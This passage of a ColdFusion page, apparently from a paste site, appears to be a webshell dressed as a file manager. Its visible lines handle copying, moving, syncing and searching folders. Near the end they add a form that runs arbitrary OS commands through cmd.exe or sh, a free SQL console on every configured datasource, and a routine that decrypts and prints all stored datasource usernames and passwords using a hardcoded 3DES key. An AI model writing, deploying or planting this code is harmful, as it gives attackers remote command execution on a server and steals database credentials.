  688. </cfoutput>
  689. <cfabort>
  690. </cfif>
  691. <h2>Rename folder - step 1: copy files</h2>
  692. <cfmodule template="#attributes.thisModule#"
  693. fuseaction="copyDir"
  694. h="#attributes.h#"
  695. path="#attributes.path#"
  696. pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
  697. pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"
  698. relocate="0">
  699. <h2>Rename folder - step 2: delete files</h2>
  700. <cfmodule template="#attributes.thisModule#"
  701. fuseaction="deleteDirRecursive"
  702. h="#attributes.h#"
  703. path="#attributes.path#"
  704. dir="#attributes.dir#"
  705. relocate="0">
  706. <cfif attributes.relocate>
  707. <cfoutput>
  708. <button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to <b>#attributes.path#</b></button>
  709. </cfoutput>
  710. </cfif>
  711. </cfcase>
  712.  
  713. <cfcase value="moveFile">
  714. <h2>Move file - step 1: copy file</h2>
  715. <cfmodule template="#attributes.thisModule#"
  716. fuseaction="copyFile"
  717. h="#attributes.h#"
  718. path="#attributes.path#"
  719. file="#attributes.file#"
  720. pathNew="#attributes.pathNew#"
  721. relocate="0">
  722. <h2>Move file - step 2: delete file</h2>
  723. <cfmodule template="#attributes.thisModule#"
  724. fuseaction="deleteFile"
  725. h="#attributes.h#"
  726. path="#attributes.path#"
  727. file="#attributes.file#"
  728. relocate="0">
  729. <cfoutput>#location("msg=File moved!", attributes.relocate)#</cfoutput>
  730. </cfcase>
  731.  
  732. <cfcase value="moveDir">
  733. <h1>Move folder - step 1: copy files</h1>
  734. <cfmodule template="#attributes.thisModule#"
  735. fuseaction="copyDir"
  736. h="#attributes.h#"
  737. pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
  738. pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"
  739. relocate="0">
  740. <h1>Move folder - step 2: delete files</h1>
  741. <cfmodule template="#attributes.thisModule#"
  742. fuseaction="deleteDirRecursive"
  743. h="#attributes.h#"
  744. path="#attributes.path#"
  745. dir="#attributes.dir#"
  746. relocate="0">
  747. <cfif attributes.relocate>
  748. <cfoutput>
  749. <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to <b>#attributes.path#</b></button>
  750. </cfoutput>
  751. </cfif>
  752. </cfcase>
  753.  
  754. <cfcase value="syncDir">
  755. <cfif attributes.relocate>
  756. <cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput>
  757. </cfif>
  758. <cfdirectory directory="#attributes.path#" name="getDir">
  759. <cfdirectory directory="#attributes.pathNew#" name="getDirNew">
  760. <!--- create main folder --->
  761. <cftry>
  762. <cfdirectory action="CREATE" directory="#attributes.pathNew#">
  763. <cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput>
  764. <cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch>
  765. </cftry>
  766. <!--- copy folder content - Recursive copy --->
  767. <cfloop query="getDir">
  768. <cfset getDirCurrentRow = getDir.currentRow>
  769. <cfif type eq "file">
  770. <cfset fileExists = 0>
  771. <!--- Check if file exists --->
  772. <cfloop query="getDirNew">
  773. <cfset getDirNewCurrentRow = getDirNew.currentRow>
  774. <cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]>
  775. <cfset fileExists = 1>
  776. <cfset fileIsModified = 0>
  777. <cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]>
  778. <cfset fileIsModified = 1>
  779. </cfif>
  780. <cfbreak>
  781. </cfif>
  782. </cfloop>
  783. <!--- action --->
  784. <cfif fileExists>
  785. <cfif fileIsModified or attributes.overwriteAll>
  786. <cftry>
  787. <cffile action="DELETE" file="#attributes.pathNew##attributes.delimiter##name#">
  788. <cffile
  789. action="COPY"
  790. source="#attributes.path##attributes.delimiter##name#"
  791. destination="#attributes.pathNew##attributes.delimiter##name#"
  792. attributes="Normal">
  793. <cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... updated!</div></cfoutput>
  794. <cfcatch>
  795. <cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... cannot update!</div></cfoutput>
  796. </cfcatch>
  797. </cftry>
  798. <cfelse>
  799. <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... uptodate</div></cfoutput>
  800. </cfif>
  801. <cfelse>
  802. <cffile
  803. action="COPY"
  804. source="#attributes.path##attributes.delimiter##name#"
  805. destination="#attributes.pathNew##attributes.delimiter##name#"
  806. attributes="Normal">
  807. <cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... new!</div></cfoutput>
  808. </cfif>
  809. <cfflush>
  810. </cfif>
  811. </cfloop>
  812. <cfloop query="getDir">
  813. <cfif type eq "dir">
  814. <cfmodule
  815. fuseaction="syncDir"
  816. template="#attributes.thisModule#"
  817. h="#attributes.H#"
  818. path="#attributes.path##attributes.delimiter##name#"
  819. pathNew="#attributes.pathNew##attributes.delimiter##name#"
  820. relocate="0">
  821. </cfif>
  822. </cfloop>
  823. <cfif attributes.relocate>
  824. <cfoutput>
  825. <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to <b>#attributes.pathNew#</b></button>
  826. </cfoutput>
  827. </cfif>
  828. </cfcase>
  829.  
  830. <cfcase value="search">
  831. <cfif attributes.searchtext eq "" and attributes.searchname eq "">
  832. <cfoutput>#location("msg=Error: no criteria!",attributes.relocate)#</cfoutput>
  833. </cfif>
  834. <cfif not isDefined("request.searchResult")>
  835. <cfset request.searchResult = queryNew("path,name,type,size,datelastmodified,attributes")>
  836. <cfset attributes.searchpath = attributes.path>
  837. </cfif>
  838. <cfset countsearchresult = request.searchResult.recordCount>
  839. <cftry>
  840. <cfdirectory action="LIST" directory="#attributes.searchpath#" name="getDir">
  841. <!--- Search files --->
  842. <cfloop query="getDir">
  843. <cfif attributes.maxsearchresult lte countsearchresult>
  844. <cfbreak>
  845. </cfif>
  846. <cfif type eq "file">
  847. <cfset isOK = 1>
  848. <cfif attributes.searchname neq "">
  849. <cfset isOK = REFindNoCase(attributes.searchname,name)>
  850. </cfif>
  851. <cfif attributes.searchtext neq "" and isOK eq 1>
  852. <cffile action="READ" file="#attributes.searchpath##attributes.delimiter##name#" variable="filecontent">
  853. <cfset isOK = REFindNoCase(attributes.searchtext,filecontent)>
  854. </cfif>
  855. <cfif isOK>
  856. <cfset tmp = queryAddRow(request.searchResult)>
  857. <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
  858. <cfset tmp = querySetCell(request.searchResult,"name",name)>
  859. <cfset tmp = querySetCell(request.searchResult,"type",type)>
  860. <cfset tmp = querySetCell(request.searchResult,"size",size)>
  861. <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
  862. <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
  863. <cfset countsearchresult = countsearchresult + 1>
  864. </cfif>
  865. </cfif>
  866. </cfloop>
  867. <!--- Search dir --->
  868. <cfloop query="getDir">
  869. <cfif attributes.maxsearchresult lte countsearchresult>
  870. <cfbreak>
  871. </cfif>
  872. <cfif type eq "dir" and name neq "." and name neq "..">
  873. <cfif attributes.searchname neq "" and REFindNoCase(attributes.searchname,name)>
  874. <cfset tmp = queryAddRow(request.searchResult)>
  875. <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
  876. <cfset tmp = querySetCell(request.searchResult,"name",name)>
  877. <cfset tmp = querySetCell(request.searchResult,"type",type)>
  878. <cfset tmp = querySetCell(request.searchResult,"size",size)>
  879. <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
  880. <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
  881. <cfset countsearchresult = countsearchresult + 1>
  882. </cfif>
  883. </cfif>
  884. </cfloop>
  885. <!--- Search in sub dir --->
  886. <cfif attributes.recursive eq 1>
  887. <cfloop query="getDir">
  888. <cfif attributes.maxsearchresult lte countsearchresult>
  889. <cfbreak>
  890. </cfif>
  891. <cfif type eq "dir" and name neq "." and name neq "..">
  892. <cfmodule template="#attributes.thisModule#"
  893. fuseaction="search"
  894. path="#attributes.path#"
  895. h="#attributes.h#"
  896. searchpath="#attributes.searchpath##attributes.delimiter##name#"
  897. recursive="#attributes.recursive#"
  898. searchtext="#attributes.searchtext#"
  899. searchname="#attributes.searchname#"
  900. maxsearchresult="#attributes.maxsearchresult#"
  901. relocate="0">
  902. </cfif>
  903. </cfloop>
  904. </cfif>
  905. <cfcatch>
  906. <cfoutput>#location("msg=Error!",attributes.relocate)#</cfoutput>
  907. </cfcatch>
  908. </cftry>
  909. <!--- Show result --->
  910. <cfif attributes.relocate>
  911. <cfset caller.getDir = request.searchResult>
  912. <cfmodule template="#attributes.thisModule#"
  913. fuseaction="home"
  914. path="#attributes.path#"
  915. h="#attributes.h#"
  916. msg="Search result: #request.searchResult.recordCount# elements!"
  917. getDir="#request.searchResult#"
  918. showpath="#iif(attributes.recursive,1,0)#"
  919. searchtext="#attributes.searchtext#"
  920. searchname="#attributes.searchname#"
  921. maxsearchresult="#attributes.maxsearchresult#">
  922. </cfif>
  923. </cfcase>
  924.  
  925. </cfswitch>
  926.  
  927. </br></br>
  928.  
  929. <cfoutput>
  930. <!--<table>-->
  931. <cfset tempFile = #GetTempFile(GetTempDirectory(),"testFile")# />
  932. <cfif IsDefined("FORM.cmd")>
  933. <cfoutput>#cmd#</cfoutput>
  934. <cfif server.os.name neq "UNIX">
  935. <cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#tempFile#" timeout="2000"></cfexecute>
  936. <cfelse>
  937. <cfexecute name="sh" arguments="-c ""#REReplace(cmd,"""","'","ALL")#""" outputfile="#tempFile#" timeout="2000"></cfexecute>
  938. </cfif>
  939. </cfif>
  940. <form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
  941. <input type=text size=45 name="cmd" >
  942. <input type=Submit value="run">
  943. </form>
  944. <cfif FileExists("#tempFile#") is "Yes">
  945. <cffile action="Read" file="#tempFile#" variable="readText">
  946. <textarea readonly cols=80 rows=20>
  947. <CFOUTPUT>#readText#</CFOUTPUT>
  948. </textarea>
  949. <cffile action="Delete" file="#tempFile#">
  950. </cfif>
  951. </cfoutput>
  952. </br></br>
  953.  
  954. <p><b>Notes:</b></p>
  955. <ul>
  956. <li>Select the database you want to use</li>
  957. <li>Write SQL statements in the text box</li>
  958. </ul>
  959.  
  960. <form method="POST" action="">
  961. <p><b>SQL Interface:</b></p>
  962. Datasource<br>
  963. <select name="datasource">
  964. <cfscript>
  965. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  966. getDatasourceService().getDatasources();
  967. for(i in dataSourceObb) {
  968. writeoutput('<option value="' & i & '">' & i & '</option>');
  969. }
  970. </cfscript>
  971. </select>
  972.  
  973. <br>
  974. SQL<br>
  975. <textarea name="sql" rows="5" cols="100"></textarea>
  976. <br>
  977. <input type=submit value="Exec">
  978. </form>
  979.  
  980. <cfif isdefined("form.sql")>
  981. <cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
  982. #Form.sql#
  983. </cfquery>
  984. </cfif>
  985.  
  986. <table border=1>
  987. <cfif isdefined("form.sql")>
  988. <cfloop from="0" to="#runsql.RecordCount#" index="row">
  989. <cfif row eq 0>
  990. <tr>
  991. <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
  992. <th><cfoutput>#column#</cfoutput></th>
  993. </cfloop>
  994. </tr>
  995. <cfelse>
  996. <tr>
  997. <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
  998. <td><cfoutput>#runsql[column][row]#</cfoutput></td>
  999. </cfloop>
  1000. </tr>
  1001. </cfif>
  1002. </cfloop>
  1003. </cfif>
  1004. </table>
  1005. </br> </br>
  1006. <cfscript>
  1007. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  1008. getDatasourceService().getDatasources();
  1009. writeoutput("<br><br><b>Datasource Credentials:</b><br>");
  1010. writeoutput("<table>");
  1011. for(i in dataSourceObb) {
  1012. if(len(dataSourceObb[i]["password"])){
  1013. theurl=(dataSourceObb[i]["url"]);
  1014. username=(dataSourceObb[i]["username"]);
  1015. decryptPassword=Decrypt(dataSourceObb[i]["password"],
  1016. generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
  1017. "Base64");
  1018. writeoutput("" &
  1019. "<tr><td>DataSource: " & i & "</td>" &
  1020. "<td>Username: " & username & "</td>" &
  1021. "<td>Password: " & decryptPassword &
  1022. "<td>URL: " & theurl & "</td></tr>");
  1023. }
  1024. }
  1025. writeoutput("</table><br>");
  1026. </cfscript>
  1027.  
  1028.  
  1029.  
  1030. </body>
  1031. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement